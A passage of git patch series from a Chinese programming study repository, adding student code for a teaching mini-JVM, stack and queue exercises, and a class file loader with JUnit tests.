@@ -0,0 +1,39 @@
+package com.coderising.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/JavaObject.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..be6d3470be
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/JavaObject.java
@@ -0,0 +1,71 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/MethodArea.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..fab7f88878
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/MethodArea.java
@@ -0,0 +1,87 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className){
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className){
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = this.clzLoader.loadClass(className);
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+		
+		ClassFile clz = this.findClassFile(className);
+		
+		Method m = clz.getMethod(methodName, paramAndReturnType);
+		
+		if(m == null){
+			
+			throw new RuntimeException("method can't be found : \n" 
+					+ "class: " + className
+					+ "method: " + methodName
+					+ "paramAndReturnType: " + paramAndReturnType);
+		}
+		
+		return m;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef){		
+		
+		ClassFile clz = this.findClassFile(methodRef.getClassName());
+		
+		Method m = clz.getMethod(methodRef.getMethodName(), methodRef.getParamAndReturnType());
+		
+		if(m == null){
+			throw new RuntimeException("method can't be found : " + methodRef.toString());
+		}
+		
+		return m;
+	}
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/MiniJVM.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..9b7e92ebdc
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/MiniJVM.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.engine;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i=0;i<classPaths.length ; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea= MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/StackFrame.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..83e1c700b8
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/StackFrame.java
@@ -0,0 +1,117 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.method.Method;
+
+public class StackFrame {
+	
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+		
+		ByteCodeCommand[] cmds = m.getCmds();
+		while(index<cmds.length) {
+		   	  ExecutionResult result = new ExecutionResult();
+		   	  //缺省值是执行下一条命令
+		   	  result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+		   	  System.out.println(cmds[index].toString());
+		   	  cmds[index].execute(this, result);
+		   	  if (result.isRunNextCmd()) {
+		   		  index++;
+		   	  } else if (result.isExitCurrentFrame()) {
+		   		  return result;
+		   	  } else if (result.isPauseAndRunNewFrame()) {
+		   		  index ++;
+		   		  return result;
+		   	  } else if (result.isJump()) {
+		   		  int offset = result.getNextCmdOffset();
+		   		  this.index = getNextCommandIndex(offset);
+		   	  } else {
+		   		  index++;
+		   	  }
+		}
+		//当前StackFrmae的指令全部执行完毕，可以退出了
+		ExecutionResult result = new ExecutionResult();
+		result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+		return result;
+		
+	}
+
+	
+	
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/method/Method.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/method/Method.java
index 482f445ae3..0c7b13bd3e 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/method/Method.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/method/Method.java
@@ -3,6 +3,9 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.cmd.ByteCodeCommand;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import javax.management.RuntimeErrorException;
 
 import com.coderising.jvm.attr.AttributeInfo;
@@ -82,6 +85,64 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 	public ByteCodeCommand[] getCmds() {		
 		return this.getCodeAttr().getCmds();
 	}
-	
+
+	private String getParamAndReturnType(){
+		UTF8Info  nameAndTypeInfo = (UTF8Info)this.getClzFile()
+				.getConstantPool().getConstantInfo(this.getDescriptorIndex());
+		return nameAndTypeInfo.getValue();
+	}
+	public List<String> getParameterList(){
+				
+		// e.g. (Ljava/util/List;Ljava/lang/String;II)V
+		String paramAndType = getParamAndReturnType();
+		
+		int first = paramAndType.indexOf("(");
+		int last = paramAndType.lastIndexOf(")");
+		// e.g. Ljava/util/List;Ljava/lang/String;II
+		String param = paramAndType.substring(first+1, last);		
+		
+		List<String> paramList = new ArrayList<String>();
+		
+		if((null == param) || "".equals(param)){
+			return paramList;
+		}
+		
+		while(!param.equals("")){
+			
+			int pos = 0;
+			// 这是一个对象类型
+			if(param.charAt(pos) == 'L'){
+				
+				int end = param.indexOf(";");
+				
+				if(end == -1){
+					throw new RuntimeException("can't find the ; for a object type");
+				}
+				paramList.add(param.substring(pos+1,end));
+				
+				pos = end + 1; 				
+				
+			} 
+			else if(param.charAt(pos) == 'I'){
+				// int
+				paramList.add("I");
+				pos ++;
+				
+			}
+			else if(param.charAt(pos) == 'F'){
+				// float
+				paramList.add("F");
+				pos ++;
+				
+			} else{
+				throw new RuntimeException("the param has unsupported type:" + param);
+			}
+			
+			param = param.substring(pos);
+			
+		}
+		return paramList;
+		
+	}
 	
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/MiniJVMTest.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/MiniJVMTest.java
new file mode 100644
index 0000000000..842420f827
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/MiniJVMTest.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.engine.MiniJVM;
+
+public class MiniJVMTest {
+	
+	static final String PATH = "E:\\practise\\group05\\1094051862\\mini-jvm\\bin";
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testMain() throws Exception{
+		String[] classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "com.coderising.jvm.test.EmployeeV1");
+		
+	}
+
+}

From 63a5b69169516434bfd5a0d5b6e2bb028c0964aa Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Fri, 5 May 2017 07:59:41 +0800
Subject: [PATCH 172/262] =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
 =?UTF-8?q?=E5=B0=8F=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/queue/Josephus.java       |  2 +-
 .../basic/queue/QueueWithTwoStacks.java        | 18 +++++++++++++-----
 2 files changed, 14 insertions(+), 6 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
index 9f70edd16d..955e074d70 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
@@ -23,7 +23,7 @@ public static List<Integer> execute(int n, int m){
         while (!circleQueue.isEmpty()) {
 			Integer x = circleQueue.deQueue();
 			if (num == m) {
-			    num = 1;  // 杀死一个人，下一个人从1开始报数
+			    num = 1;  // 如果数到m，则杀死该人，下一个人从1开始报数
 			    result.add(x);
             } else {
 			    num++;
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java
index c936547f62..2ce1a5e7c6 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java
@@ -9,8 +9,8 @@
  * @param <E>
  */
 public class QueueWithTwoStacks<E> {
-	private Stack<E> stack1;    
-    private Stack<E> stack2;    
+	private Stack<E> stack1;    // stack1用来入队
+    private Stack<E> stack2;    // stack2用来出对
 
     
     public QueueWithTwoStacks() {
@@ -19,7 +19,7 @@ public QueueWithTwoStacks() {
     }
 
     public boolean isEmpty() {
-        return stack1.isEmpty();
+        return size() == 0;
     }
 
     private void move(Stack s1, Stack s2) {
@@ -29,19 +29,27 @@ private void move(Stack s1, Stack s2) {
     }
     
     public int size() {
-        return  stack1.size();
+        return  stack1.size() + stack2.size();
     }
 
     public void enQueue(E item) {
         stack1.push(item);
     }
 
-    public E deQueue() {
+    public E deQueueV2() {
         move(stack1, stack2);
         E result = stack2.pop();
         move(stack2, stack1);
         return result;
     }
 
+    // 只有当stack2为空时，才需要把stack1中的元素全部放到stack2中
+    public E deQueue() {
+        if (stack2.isEmpty()) {
+            move(stack1, stack2);
+        }
+        return stack2.pop();
+    }
+
  }
 

From 7275fc4cc873e367f610765765af5607e9a2a5c8 Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 09:36:29 +0800
Subject: [PATCH 173/262] =?UTF-8?q?=E7=AC=AC=E4=B8=83=E5=91=A8,=20JVM?=
 =?UTF-8?q?=E7=AC=AC=E4=BA=8C=E6=AC=A1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group11/1178243325/week07/.readme.md.swp      | Bin 12288 -> 12288 bytes
 group11/1178243325/week07/readme.md           |   4 +-
 .../com/sprint/datastructure/StackUtil.java   | 127 ++++++++++++++++++
 .../sprint/datastructure/StackUtilTest.java   |  65 +++++++++
 4 files changed, 194 insertions(+), 2 deletions(-)
 create mode 100644 group11/1178243325/week07/src/main/java/com/sprint/datastructure/StackUtil.java
 create mode 100644 group11/1178243325/week07/src/test/java/com/sprint/datastructure/StackUtilTest.java

diff --git a/group11/1178243325/week07/.readme.md.swp b/group11/1178243325/week07/.readme.md.swp
index 3d7e4464a84ed43e0b59dc8f2f80c33ee769a7a0..0404364aff8e4caed53c577968eab16225ba1412 100644
GIT binary patch
delta 122
zcmZojXh@JsG6?hZRWR2xVE_UF28Qr!+>s|@<QSG1Zj^c@&$f(@f#DP1WG)3gAsK!K
z25BJX0OC(TVGjPyiULdd^q;nF1EF>Ep3P}^Icwju8S9_Uo%O7zkwIBm;aSJT=d)U#
WP1*LMZ~OZ_vltlivnR{xKLP;gI4(8-

delta 101
zcmZojXh@JsG6?hZRWR2xVE_UF28OG5-b6HJ%P|OtZIpT?&$gG3fq|2MGM9p$kQ_e)
zgDenp0Wl{KtMhMG6xhWlrL4@L%)p?mtnjR3;`3Q8&!%j9(YO8mo>>eGljZau0RY_O
B9033T

diff --git a/group11/1178243325/week07/readme.md b/group11/1178243325/week07/readme.md
index cc9d7c6f3c..4907ae371a 100644
--- a/group11/1178243325/week07/readme.md
+++ b/group11/1178243325/week07/readme.md
@@ -6,7 +6,7 @@
 - 实现StackUtil
 - [文章](http://www.jianshu.com/p/502c1e5caa97)
 ## 完成情况：
-
+ok
 
 ## 我的收获：
-
+其实最难是坚持
diff --git a/group11/1178243325/week07/src/main/java/com/sprint/datastructure/StackUtil.java b/group11/1178243325/week07/src/main/java/com/sprint/datastructure/StackUtil.java
new file mode 100644
index 0000000000..cf6afb5b3c
--- /dev/null
+++ b/group11/1178243325/week07/src/main/java/com/sprint/datastructure/StackUtil.java
@@ -0,0 +1,127 @@
+package com.sprint.datastructure;
+
+import java.util.Stack;
+public class StackUtil {
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+	/*	Stack<Integer> stack = new Stack<>();
+		while (!s.isEmpty()) {
+			stack.push(s.pop());
+		}		
+
+		Stack<Integer> stack1 = new Stack<>();
+		while (!stack.isEmpty()) {
+			stack1.push(stack.pop());
+		}
+
+		while (!stack1.isEmpty()) {
+			s.push(stack1.pop());
+		}
+	**/
+			
+		if (s == null || s.isEmpty())
+			return;
+		Stack<Integer> tmp = new Stack<>();
+		while (!s.isEmpty()) {
+			tmp.push(s.pop());
+		}
+		while (!tmp.isEmpty()) {
+			Integer top = tmp.pop();
+			addToBottom(s, top);
+		}
+	}
+
+	private static void addToBottom(Stack<Integer> s, Integer value) {
+		if (s.isEmpty()) {
+			s.push(value);
+		} else {
+			Integer top = s.pop();
+			addToBottom(s, value);
+			s.push(top);
+		}
+	}
+	
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if (s == null || s.isEmpty()) 
+			return;
+
+		Stack tmp = new Stack();
+		while (!s.isEmpty()) {
+			Object value = s.pop();
+			if (!value.equals(o)) {
+				tmp.push(value);
+			}
+		}
+
+		while (!tmp.isEmpty()) {
+			s.push(tmp.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		if (s == null || s.isEmpty() || len <= 0) {
+			return null;
+		}
+		Object[] objs = new Object[len];
+		Stack tmp = new Stack();
+		int count = 0;
+		while (!s.isEmpty() && count < len) {
+			Object top = s.pop();
+			tmp.push(top);
+			objs[count++] = top;
+		}
+		
+		while (!tmp.isEmpty()) {
+			s.push(tmp.pop());
+		}
+		return objs;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		Stack<Character> stack = new Stack<>();
+		for (int i = 0; i < s.length(); i++) {
+			char c = s.charAt(i);
+			if (c == '(' || c == '[' || c == '{') {
+				stack.push(c);
+			} else if (c == ')') {
+				char topChar = stack.pop();
+				if (topChar != '(') {
+					return false;
+				}
+			} else if (c == ']') {
+				char topChar = stack.pop();
+				if (topChar != '[') {
+					return false;
+				}
+			} else if (c == '}') {
+				char topChar = stack.pop();
+				if (topChar != '{') {
+					return false;
+				}
+			}
+		}
+		return stack.size() == 0;
+	}	
+}
diff --git a/group11/1178243325/week07/src/test/java/com/sprint/datastructure/StackUtilTest.java b/group11/1178243325/week07/src/test/java/com/sprint/datastructure/StackUtilTest.java
new file mode 100644
index 0000000000..86f9db1607
--- /dev/null
+++ b/group11/1178243325/week07/src/test/java/com/sprint/datastructure/StackUtilTest.java
@@ -0,0 +1,65 @@
+package com.sprint.datastructure;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}

From 5a8f829c5f12e8aac55676c12e42fd40d755da48 Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Fri, 5 May 2017 11:36:27 +0800
Subject: [PATCH 174/262] class loader , the fourth homework

---
 .../src/jvm/loader/ClassFileLoader.java       | 140 ++++++++++++++++++
 .../test/jvm/ClassFileloaderTest.java         | 106 +++++++++++++
 2 files changed, 246 insertions(+)
 create mode 100644 group19/1294642551/src/jvm/loader/ClassFileLoader.java
 create mode 100644 group19/1294642551/test/jvm/ClassFileloaderTest.java

diff --git a/group19/1294642551/src/jvm/loader/ClassFileLoader.java b/group19/1294642551/src/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..8e133e40cd
--- /dev/null
+++ b/group19/1294642551/src/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+
+import jvm.clz.ClassFile;
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) + ".class";
+		
+		for(String path : clzPaths){
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}
+		}
+		
+		return null;
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		try {
+			InputStream input = new FileInputStream(new File(clzFileName));
+			return IOUtils.toByteArray(input);
+		} catch (FileNotFoundException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		
+		return null;
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+//		byte[] codes = this.readBinaryCode(className);
+//		ClassFileParser parser = new ClassFileParser();
+//		return parser.parse(codes);
+		return null;
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group19/1294642551/test/jvm/ClassFileloaderTest.java b/group19/1294642551/test/jvm/ClassFileloaderTest.java
new file mode 100644
index 0000000000..55eebaa222
--- /dev/null
+++ b/group19/1294642551/test/jvm/ClassFileloaderTest.java
@@ -0,0 +1,106 @@
+package jvm;
+
+import java.io.File;
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import jvm.clz.ClassFile;
+import jvm.clz.ClassIndex;
+import jvm.cmd.BiPushCmd;
+import jvm.cmd.ByteCodeCommand;
+import jvm.cmd.OneOperandCmd;
+import jvm.cmd.TwoOperandCmd;
+import jvm.constant.ClassInfo;
+import jvm.constant.ConstantPool;
+import jvm.constant.MethodRefInfo;
+import jvm.constant.NameAndTypeInfo;
+import jvm.constant.UTF8Info;
+import jvm.field.Field;
+import jvm.loader.ClassFileLoader;
+import jvm.method.Method;
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "jvm/EmployeeV1";
+	
+	static String path1 = "D:\\Git Files\\coding2017\\group19\\1294642551\\bin";
+	static String path2 = "D:\\TempFiles";
+	
+
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "jvm.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1016, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "jvm.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+
+ 
+}

From 4ac9c66d8d2dc1438a23b994fb74ca18960e3071 Mon Sep 17 00:00:00 2001
From: Harry <chenhaowei93@163.com>
Date: Fri, 5 May 2017 12:59:44 +0800
Subject: [PATCH 175/262] add stackTestCase
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

添加测试用例
---
 .../coding2017/stack/QuickMinStackTest.java   | 53 +++++++++++++
 .../stack/StackWithTwoQueuesTest.java         | 47 +++++++++++
 .../stack/TwoStackInOneArrayTest.java         | 79 +++++++++++++++++++
 3 files changed, 179 insertions(+)
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStackTest.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueuesTest.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArrayTest.java

diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStackTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStackTest.java
new file mode 100644
index 0000000000..1c2f88e96f
--- /dev/null
